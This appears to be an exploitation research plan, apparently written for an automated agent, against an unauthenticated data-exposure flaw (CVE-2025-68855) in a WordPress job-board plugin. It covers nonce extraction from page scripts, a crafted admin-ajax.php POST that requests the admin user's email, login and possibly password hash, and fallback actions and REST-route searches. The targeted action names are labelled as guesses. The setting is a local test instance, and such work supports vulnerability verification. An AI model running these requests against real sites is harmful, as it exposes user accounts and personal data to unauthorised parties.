Exploitation Research Plan - CVE-2025-68855

1. Vulnerability Summary

The JobBoard Job listing plugin (up to 1.2.8) suffers from an Unauthenticated Information Exposure vulnerability. The flaw exists because the plugin registers AJAX handlers via wp_ajax_nopriv_ hooks that return sensitive user or configuration data without implementing proper authorization checks (current_user_can) or adequate nonce verification. This allows an unauthenticated attacker to query the admin-ajax.php endpoint and retrieve information such as user emails, login names, and potentially site configuration details.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: job_board_get_user_details or job_board_get_job_details (inferred based on plugin functionality; specific action to be verified).
• Payload Parameters:
  • action: The vulnerable AJAX action.
  • user_id or id: The identifier for the data to be retrieved.
  • nonce: A security token (if required, though often bypassable or publicly exposed).
• Authentication: None (Unauthenticated).
• Preconditions: The plugin must be active.

3. Code Flow

1. The plugin initializes and registers AJAX handlers in includes/class-job-board-ajax.php or the main plugin file using:
   add_action( 'wp_ajax_nopriv_job_board_get_user_details', array( $this, 'get_user_details' ) );
2. The handler function (e.g., get_user_details) is invoked when a POST request is sent to admin-ajax.php with the matching action.
3. The handler likely takes a user_id or post_id from $_POST or $_GET.
4. The handler calls get_userdata( $user_id ) or get_post( $post_id ).
5. Crucially, the handler fails to filter the resulting object or check if the current requester has permission to view the data.
6. The sensitive data (including user_email, user_login, and potentially user_pass hashes if the whole object is returned) is sent to the client via wp_send_json() or echo json_encode().

4. Nonce Acquisition Strategy

If the plugin requires a nonce for these unauthenticated actions, it is typically localized for use in the frontend job search or listing pages.

1. Identify Shortcode: The plugin uses shortcodes like [job_board_listing] or [job_board_search] to display jobs.

2. Create Setup Page:
   wp post create --post_type=page --post_title="Job Search" --post_status=publish --post_content='[job_board_listing]'

3. Navigate and Extract:
   Navigate to the newly created page using browser_navigate.

4. Extract Nonce:
   The nonce is likely stored in a global JS object registered via wp_localize_script. Common names for this plugin:

   • window.job_board_ajax_obj?.nonce
   • window.job_board_vars?.ajax_nonce
   • window.job_board_options?.nonce

   Use browser_eval("window.job_board_ajax_obj.nonce") to retrieve it.

5. Exploitation Strategy

The goal is to extract user information (ID 1 is usually the admin).

1. Discovery Phase:
   Use grep to find all wp_ajax_nopriv_ hooks in the plugin directory:
   grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/job-board-light/

2. Request Construction:
   Once the action name is confirmed (e.g., job_board_get_user_details), send a POST request using the http_request tool.

   Sample Request:

   • Method: POST
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body: action=job_board_get_user_details&user_id=1&nonce=[EXTRACTED_NONCE]

3. Analysis:
   Check the response body for JSON data containing keys like user_email, user_login, display_name, or user_pass.

6. Test Data Setup

1. Ensure the plugin is installed and activated.
2. Create a secondary "Job Poster" user to test exposure of non-admin users:
   wp user create jobposter poster@example.com --role=author
3. Create a Job post (if the exposure is via job details):
   wp post create --post_type=job_listing --post_title="Security Engineer" --post_status=publish --post_author=[AUTHOR_ID]

7. Expected Results

A successful exploit will return a JSON object containing sensitive information for the requested user ID.

• Success Indicator: {"success":true,"data":{"user_login":"admin","user_email":"admin@example.com", ...}}
• Vulnerability Confirmation: The presence of user_email or user_login in a response reachable without a logged-in session.

8. Verification Steps

1. Verify User Data: Use WP-CLI to compare the leaked data with the actual database values:
   wp user get 1 --fields=user_login,user_email
2. Verify Access Control: Confirm that the same AJAX request fails if you are not using the specific action or if the action was correctly patched (though we are targeting the vulnerable version).

9. Alternative Approaches

If job_board_get_user_details is not the correct action, search for:

• job_board_view_applicant: Might leak applicant (user) data.
• job_board_get_settings: Might leak wp_options data.
• job_board_fetch_jobs: Check if the author object is nested inside the job results.
  • Payload: action=job_board_fetch_jobs&id=[JOB_ID]
• Check if the vulnerability is in a REST API route instead of AJAX:
  grep -r "register_rest_route" /var/www/html/wp-content/plugins/job-board-light/
  Look for routes with 'permission_callback' => '__return_true' or missing callbacks.